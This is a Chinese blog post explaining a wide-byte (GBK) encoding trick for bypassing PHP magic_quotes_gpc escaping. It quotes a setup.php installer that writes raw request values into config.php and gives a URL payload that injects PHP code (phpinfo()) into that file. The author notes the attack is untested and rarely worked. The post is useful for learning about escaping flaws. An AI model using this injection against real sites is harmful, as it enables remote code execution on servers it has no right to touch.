unicode编码过php的magic_quotes_gpc设置为on的mysql注入与文件写入(待测试)

使用unicode的双字节编码过php的单引号、双引号转移来注入的技术,请参考:

利用双字节编码突破PHP单引号转义限制进行SQL注入 (http://www.redicecn.com/view-256.html)。

    我大概说下思路:汉字”�\“对应十六进制d5 5c,而单个来看5c就是字符斜杠\,所以如果url地址提交

%d5",那么被php转以后,就是%d5\",刚好\十六进制5c跟前面的d5结合了,但出来后面引号了。当然,如果是单引号就提交%d5' ;而且这儿d5不限定,任何大于80的字符都可以的,即被系统当做汉字要双字节来识别就可以了。

   今天碰到一个有意思的setup.php,通过它来写入配置信息到config.php

先看下setup.php的代码:

<?

       if ($_REQUEST['act'] == 'info')
       {
          /*---------检查POST数据---------*/
           /*------更新数据-------*/
           $conent = '<?php
            #网站名称
            $webname = "'.$_REQUEST['webname'].'";
            #网站地址
            $weburl = "'.$_REQUEST['weburl'].'";
            #安装目录
            $path = "'.$_REQUEST['path'].'";
            #图片地址
            $imgurl = "'.$_REQUEST['imgurl'].'";
            #图片目录
            $imgpath = "'.$_REQUEST['imgpath'].'";
            #后台目录
            $admin_path = "'.$_REQUEST['admin_path'].'";
            #每页显示数
            $perpagenum = "'.$_REQUEST['perpagenum'].'";
            #mysqlIP
            $local = "'.$_REQUEST['local'].'";
            #帐号
            $username = "'.$_REQUEST['username'].'";
            #密码
            $password = "'.$_REQUEST['password'].'";
            #数据库
            $datebase = "'.$_REQUEST['datebase'].'";
            #默认文件名
            $filename = "'.$_REQUEST['filename'].'";
            #COOKIE作用域
            $cookiedomain = "'.$_REQUEST['cookiedomain'].'";
            #COOKIE作用路径
            $cookiepath = "'.$_REQUEST['cookiepath'].'";
            #COOKIE变量前缀
            $cookievarpre = "'.$_REQUEST['cookievarpre'].'";
            #水印图片
            $water = "'.$_REQUEST['water'].'";
            #水印位置
            $waterPos = "'.$_REQUEST['waterPos'].'";
            #水印透明度
            $alpha = "'.$_REQUEST['alpha'].'";
            #缩略图宽
            $logo_w = "'.$_REQUEST['logo_w'].'";
            $logo_h ="'.$_REQUEST['logo_h'].'";
            #JS控制生成页面时间
            $time = "'.$_REQUEST['time'].'";
           ?>';
            $filename = VCMS_ROOT.'/include/config.php';
            $handle = fopen($filename,'w');
            fwrite($handle, $conent);
            fclose($handle);
            exit;
       }
?>

那么提交如下url:

setup.php?act=info&time=%d5";phpinfo();//

将得到:

一个config.php

内容如下:

<?

......

$time ="�\";phpinfo();//"

?>

看到了吧phpinfo函数之前封闭了双引号吧。并通过//注释后面的引号。

理论上是成功了,不过找了几台机器执行,除了一个朋友说本地可以,

还没看到效果。

你可能感兴趣的:(mysql,数据库,宽字符,宽字节)